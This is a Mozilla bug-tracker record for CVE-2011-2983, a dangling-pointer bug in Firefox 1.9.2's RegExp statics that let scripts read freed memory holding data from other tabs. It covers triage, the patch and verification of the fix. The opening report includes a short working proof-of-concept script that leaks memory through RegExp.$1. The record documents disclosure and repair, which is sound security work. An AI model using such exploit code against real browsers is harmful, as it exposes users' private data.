The default bug view has changed. See this FAQ.
Bug 626297 (CVE-2011-2983)

regexp-statics possibly allows to read private data

RESOLVED FIXED

Status

()

Core
JavaScript Engine
RESOLVED FIXED
6 years ago
3 years ago

People

(Reporter: shutdown, Assigned: cdleary)

Tracking

({verified1.9.2})

1.9.2 Branch
x86
Windows Vista
verified1.9.2
Points:
---
Bug Flags:
sec-bounty +

Firefox Tracking Flags

(firefox7- unaffected, firefox8- unaffected, firefox9- unaffected, blocking1.9.2 .20+, status1.9.2 .20-fixed, status1.9.1 wontfix)

Details

(Whiteboard: [sg:high])

Attachments

(2 attachments)

(Reporter)

Description

6 years ago
Created attachment 504334 [details]
screenshot of the success case

Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.2.13) Gecko/20101203

Description:
When RegExp.input is set,
JSSubString which RegExp.$1 uses becomes a dangling pointer.
So, scripts can read a freed-and-recycled memory area.

Testcase:

1. Open the new tab and execute:

javascript:
  function S(v) { return "xxxxxxx,xxxxxxx,xxxx" + v; }
  /^(.*)/.exec(S(0));
  RegExp.input = S(1);
  clearInterval(window.tid);
  window.tid = setInterval(function () {
    document.title = "[" + RegExp.$1 + "]";
  }, 1000);
  void 0;

2. Then browse some sites in other tabs.
Seems like a dup of bug 610223.

/be
Whiteboard: DUPEME
(In reply to comment #1)
> Seems like a dup of bug 610223.

That bug was marked as a trunk-only YARR regression that didn't affect 1.9.2.

Updated

6 years ago
Assignee: general → cdleary
Whiteboard: DUPEME → [sg:moderate?]
(In reply to comment #2)
> That bug was marked as a trunk-only YARR regression that didn't affect 1.9.2.

Yeah, I assumed YARR introduced it -- are our regression tests being backported to 1.9.2 at all? I don't know how that process works.
Status: NEW → ASSIGNED
Whiteboard: [sg:moderate?] → [sg:high]
blocking1.9.1: --- → ?
blocking1.9.2: --- → ?
status1.9.1: --- → wanted
status1.9.2: --- → wanted
(In reply to comment #4)
> Yeah, I assumed YARR introduced it -- are our regression tests being backported
> to 1.9.2 at all? I don't know how that process works.

Not in general. Sometimes/often the regression tests are checked in to the branch along with a specific security bug back-port. Since the YARR regression didn't affect the branches its patch (and therefore regression tests) were not checked in.

We don't always check in tests, depending on how obviously they point at the vulnerability we often wait until we've issued fixes and advisories for the supported branches before checking them in. We set the in-testsuite flag to "?" to remind us to go back and do so.
blocking1.9.1: ? → .18+
blocking1.9.2: ? → .16+
blocking1.9.2: .15+ → .16+
blocking1.9.1: .19+ → ?
blocking1.9.2: .17+ → ?
blocking2.0: --- → ?
blocking2.0: ? → ---

Updated

6 years ago
blocking1.9.1: ? → needed
blocking1.9.2: ? → needed
Created attachment 526428 [details] [diff] [review]
Add pending input.

Patch against mc-192. User only has access to res->pendingInput through the object interface. res->input is set iff a successful match is performed or (friend API) js_ClearRegExpStatics is called for save/restore junk; failure in the regexp execution clears the statics entirely.
Attachment #526428 - Flags: review?(mrbkap)

Updated

6 years ago
Attachment #526428 - Flags: review?(mrbkap) → review+
Attachment #526428 - Flags: approval1.9.2.19?
Comment on attachment 526428 [details] [diff] [review]
Add pending input.

Maybe that was the wrong ? to set.
Attachment #526428 - Flags: approval1.9.2.20?

Comment 8

6 years ago
Comment on attachment 526428 [details] [diff] [review]
Add pending input.

a=LegNeato for 1.9.2.20.
Attachment #526428 - Flags: approval1.9.2.20?
Attachment #526428 - Flags: approval1.9.2.20+
Attachment #526428 - Flags: approval1.9.2.19?

Updated

6 years ago
blocking1.9.1: needed → ---
blocking1.9.2: needed → .20+
status1.9.1: wanted → wontfix
http://hg.mozilla.org/releases/mozilla-1.9.2/rev/271682c48f66
Status: ASSIGNED → RESOLVED
Last Resolved: 6 years ago
Resolution: --- → FIXED

Updated

6 years ago
status1.9.2: wanted → .20-fixed
Depends on: 384115
No longer depends on: 384115
Depends on: 674545
Alias: CVE-2011-2983
Verified fixed in 1.9.2.20 (Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.7; en-US; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20) using code in comment 0. No longer leaking private data as we are in 1.9.2.19 when I tested it.
blocking1.9.2: .20+ → .21+
status1.9.2: .20-fixed → .21-fixed
Keywords: verified1.9.2
Al, why did you move this from .20-fixed to .21-fixed?  Did this not make the build?
I did not purposefully change the keyword.
blocking1.9.2: .21+ → .20+
status1.9.2: .21-fixed → .20-fixed
status-firefox7: --- → unaffected
status-firefox8: --- → unaffected
status-firefox9: --- → unaffected
tracking-firefox7: --- → -
tracking-firefox8: --- → -
tracking-firefox9: --- → -
Group: core-security
rforbes-bugspam-for-setting-that-bounty-flag-20130719
Flags: sec-bounty+
You need to log in before you can comment on or make changes to this bug.